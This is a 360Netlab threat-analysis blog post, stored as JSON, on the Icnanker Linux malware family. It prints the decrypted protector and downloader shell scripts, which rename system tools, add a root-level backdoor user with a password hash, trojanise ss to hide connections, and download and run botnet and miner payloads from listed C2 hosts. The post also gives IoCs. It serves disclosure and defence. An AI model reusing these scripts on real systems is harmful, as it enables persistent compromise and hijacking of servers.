{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\n\nOn August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes \"SHC (Shell script compiler)\" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.\n\nOn March 12, 2020, IntezerLab twittered about a [Icnanker](https://twitter.com/IntezerLabs/status/1238090121624379392) variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.\n \n## Overview\nIcnanker is the first Linux malware family we observed that uses [SHC](https://github.com/neurobin/shc). Its name is derived from the author's ID \"by icnanker\" in the script.\n\nThe current Icnanker samples can be divided into 2 categories according to their functions:\n* Protector\nProtector is used to protect samples from being deleted. It is currently used to protect Mining service.\n* Downloader\nDownloader is mainly used to facilitate DDos and Mining attacks. Currently its samples include Elknot Botnet, Xor Botnet and XMRMiner. On Icnanker-related HFS servers, we can see that the current download volume is at 20,114, and about 500 increment per day.\n<a href=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\" class=\"kg-image\"/></a>\nThe main functions of Downloader are:\n\n* Persistence\n* Hide itself\n* Delete system command\n* Add new users\n* Download and execute specific samples\n\n\n\n## Reverse analysis\nLet's take a look at the following two samples.\n==187fa428ed44f006df0c8232be4a6e4e== Miner Protector,\n==5790dedae465994d179c63782e51bac1== Elknot Botnet Downloader.\n>MD5:5790dedae465994d179c63782e51bac1\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped\n>\n>Packer: No\n>\n>**Verdict:Malicious,Downloader**\n\n>187fa428ed44f006df0c8232be4a6e4e\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped\n>\n>Packer:No\n>\n>**Verdict:Malicious,Protector**\n\nWe know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source \"SHC (Shell script compiler)\" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC. \n\n <a href=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\" class=\"kg-image\"/></a>\nAs mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use [UnSHc](https://github.com/yanncam/UnSHc) to directly decrypt the script)\n```bash\n[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...\n\t[0] Working with var address at offset [0x80ed087] (0x2a bytes)\n\t[1] Working with var address at offset [0x80ed0df] (0x1 bytes)\n                            ...............\n\t[12] Working with var address at offset [0x80f1280] (0x13 bytes)\n\t[13] Working with var address at offset [0x80f12b1] (0x13 bytes)\n[*] Extracting password...\n\t[+] PWD address found : [0x80f12ed]\n\t[+] PWD size found : [0x100]\n[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]\n[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]\n[*] All done!\n                            ...............\n[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]\n[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]\n[*] All done!\n\n\n```\n\n### Protector (187fa428ed44f006df0c8232be4a6e4e.sh)\n```\n#!/bin/bash\ncp -f /usr/bin/chattr /usr/bin/lockr\ncp -f /usr/bin/chattr /usr/bin/.locks\ncp -f /usr/bin/.locks /usr/bin/lockr\nchmod 777 /usr/bin/lockr\nchmod 777 /usr/bin/.locks\nlockr +i /usr/bin/lockr >/dev/null 2>&1\nlockr +i /usr/bin/.locks >/dev/null 2>&1\n.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr\nlockr +i /usr/bin/lockr >/dev/null 2>&1\ncp -f /usr/bin/lsattr /usr/bin/lockrc\ncp -f /usr/bin/lsattr /usr/bin/.locksc\ncp -f /usr/bin/.locksc /usr/bin/lockrc\nchmod 777 /usr/bin/lockrc\nchmod 777 /usr/bin/.locksc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nlockr +i /usr/bin/.locksc >/dev/null 2>&1\n.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nrm -rf /usr/bin/lsattr\nrm -rf /usr/bin/chattr\nlockr +a /var/spool/cron/crontabs/root\nlockr +i /var/spool/cron/crontabs/root\nlockr +a /var/spool/cron/root\nlockr +i /var/spool/cron/root\nlockr +i /usr/lib/.cache/\nlockr +i /usr/lib/.cache\nrm -f $0\n```\n\nIn this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.\n### Downloader (5790dedae465994d179c63782e51bac1.sh)\n```bash\n    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－\n                ...............\n    echo \"byicnanker 2228668564\" > $Config\n\ttempfile=`cat $Config | awk '{print $1}'`\n\tfiletemp=\"/usr/bin/$tempfile\" #现马的路径\n\tfilename=`date +%s%N | md5sum | head -c 10`\n\tfilepath=\"/usr/bin/$filename\" #新马的路径\n\ttempbash=`cat $Config | awk '{print $2}'`\n\tbashtemp=\"/usr/bin/$tempbash\" #现脚本路径\n\tbashname=`date +%s%N | md5sum | head -c 10`\n\tbashpath=\"/usr/bin/$bashname\" #新脚本路径\n               ...............\n```\nThis section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.\n\nSince the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.\n* Persistence, self-starting via re.local.\n```\n  # by icnanker -----------------------------------------------\n  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`\n  if [ $Repeatstart != 1 ];then\n  \tlockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local\n  fi\n  if [ -z \"`cat /etc/rc.local | grep \"$bashtemp\"`\" ]; then\n  \tif [ -z \"`cat /etc/rc.local | grep \"$exit0\"`\" ]; then\n  \t\tlockr -i /etc/;lockr -i /etc/rc.local\n  \t\techo \"$bashpath start\" >> /etc/rc.local\n  \telse\n  \t\tlockr -i /etc/;lockr -i /etc/rc.local\n  \t\tsed -i \"s|exit 0|$bashpath start|\" /etc/rc.local\n  \t\techo \"exit 0\">>/etc/rc.local\n  \tfi\n  fi\n```\n* Self-hiding , so that management tools such as ss, ps, netstat cannot detect the process and network connections related to the sample.\n```\nif [ -f /bin/ss ];then\n\tif [ ! -f \"$iss\" ];then\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;mkdir /usr/bin/dpkgd/\n\t\t\tcp -f /bin/ss $issbak\n\t\t\tcp -f /bin/ss $iss\n\t\telse\n\t\t\tcp -f $issbak $iss\n\t\tfi\n\t\tchmod 777 $iss;chmod 777 $issbak\n\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tlockr +i $iss >/dev/null 2>&1\n\telse\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;cp -f $iss $issbak\n\t\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tfi\t\n\t\tif [ -z \"`cat /bin/ss | grep $Address`\" ]; then\n\t\t\tlockr -i /bin/;lockr -i /bin/ss\n\t\t\techo '#!/bin/sh' > /bin/ss\n\t\t\techo 'iss|grep -v \"'$Address'\"' >> /bin/ss\n\t\t\techo 'exit' >> /bin/ss\n\t\t\tchmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1\n\t\tfi\n\tfi\nfi\n\n```\n* Delete some system files to increase the difficulty for repair.\n```\nlockr -i /usr/bin/;\nlockr -i /usr/bin/wget;\nrm -f /usr/bin/wget;\nlockr -i /usr/bin/chattr;\nrm -f /usr/bin/chattr\n```\n* Add new user (ntps) to facilitate subsequent control of the victim's machine\n```\n  # by icnanker -----------------------------------------------\n  if [ -z \"`cat /etc/passwd|grep \"ntps\"`\" ]; then\n  \tlockr -i /etc/;lockr -i /etc/passwd #ntps\n  \techo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd\n  \tlockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1\n  fi\n  if [ -z \"`cat /etc/shadow|grep \"ntps\"`\" ]; then\n  \tlockr -i /etc/;lockr -i /etc/shadow #tianyong\n  \techo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow\n  \tlockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1\n  fi\n```\n* Download and execute specific samples, here it downloads the Elknot Botnet.\n```\n  # by icnanker -----------------------------------------------\n  iptable=`iptables -L INPUT | grep \"$Address\" | grep 'ACCEPT'`\n  if [ -z \"$iptable\" ];then\n  \tiptables -I INPUT -s $Address -j ACCEPT\n  else\n  \tiptables -D INPUT -s $Address -j DROP\n  fi\n  process=`ips -ef | grep \"$tempfile\" | grep -v \"grep\" | wc -l`\n  if [ $process != 1 ];then\n  \tif [ ! -f \"$filebak\" ];then\n  \t\tlockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm\n  \t\tcd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm\n  \t\tcd $path;mv -f /usr/bin/htrdpm $filepath\n  \telse\n  \t\tcp -f $filebak $filepath\n  \tfi\n  \tRunkillallconnect\n  \tchmod 777 $filepath\n  \tnohup $filepath >/dev/null 2>&1 &\n  fi\n```\n\nAt this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly.  At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts. \n\nTake the **Elknot and Miner** as examples\n```\nelknot\n\nResolveIP=`nslookup [ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\n dget http[://hfs.ubtv.xyz:22345/htrdpm\n\n-------------------------------------------VS----------------------------------------\n\nminer\n\nResolveIP=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\n dget http[://xz.jave.xyz:22345/.xm\n```\n\nHere is a list of Downloader and theirs services currently we observed.\n\n| filename  | md5                              | payload type  | payload url                            |\n| --------- | -------------------------------- | ------------- | -------------------------------------- |\n| 80        | 5790dedae465994d179c63782e51bac1 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| .ds1;.ds2 | 6abe83ee8481b5ce0894d837eabb41df | miner         | http[://xz.jave.xyz:22345/.xm           |\n| .ssh      | 89cd1ebfa5757dca1286fd925e0762de | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm      |\n| 19880     | d989e81c4eb23c1e701024ed26f55849 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdps       |\n\n## Icnanker's distributed samples \nIcnanker's distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.\n* Elknot Botnet\n\n  | filename  | md5                              | c2                                    |\n  | --------- | -------------------------------- | ------------------------------------- |\n  | htrdps    | 5c90bfbae5c030da91c9054ecb3194b6 | ubt.ubtv.xyz:19880, jav.jave.xyz:6001 |\n  | kcompact0 | eec19f1639871b6e6356e7ee05db8a94 | sys.jave.xyz:1764, jav.jave.xyz:6001  |\n\n* Xor.DDoS Botnet\n\n  | filename | md5                              | c2                                                       |\n  | -------- | -------------------------------- | -------------------------------------------------------- |\n  | ss       | 0764da93868218d6ae999ed7bd66a98e | 8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987 |\n\n* Miner\n\n  | filename | md5                              | c2   |\n  | -------- | -------------------------------- | ---- |\n  | sh       | 17ac3bd2753b900367cb9ee4068fe0c1 |      |\n  | .xm      | 765a0899cb87400e8a27ab572f3cdd61 |      |\n## Suggestions\nWe recommend that users watch for the clues we mentioned above and block the C2 on their networks, \nWe also suggest strong login credentials should always be enforced.\n\n\n## Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360netlab), or email to netlab at 360 dot cn.\n\n## IoC list\n### Sample MD5\n```\n5790dedae465994d179c63782e51bac1\n6abe83ee8481b5ce0894d837eabb41df\n89cd1ebfa5757dca1286fd925e0762de\nd989e81c4eb23c1e701024ed26f55849\n5c90bfbae5c030da91c9054ecb3194b6\neec19f1639871b6e6356e7ee05db8a94\n0764da93868218d6ae999ed7bd66a98e\n17ac3bd2753b900367cb9ee4068fe0c1\n765a0899cb87400e8a27ab572f3cdd61\n187fa428ed44f006df0c8232be4a6e4e\n```\n \n### CC\n```\nubt.ubtv.xyz:19880 #Elknot\nsys.jave.xyz:1764  #Elknot\njav.jave.xyz:6001  #Elknot\n8uch.jave.xyz:3478 #Xor.DDoS\n8uc1.jave.xyz:1987 #Xor.DDoS\n8uc2.ubtv.xyz:2987 #Xor.DDoS\nxz.jave.xyz:22345  #Icnanker HFS\n```\n\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}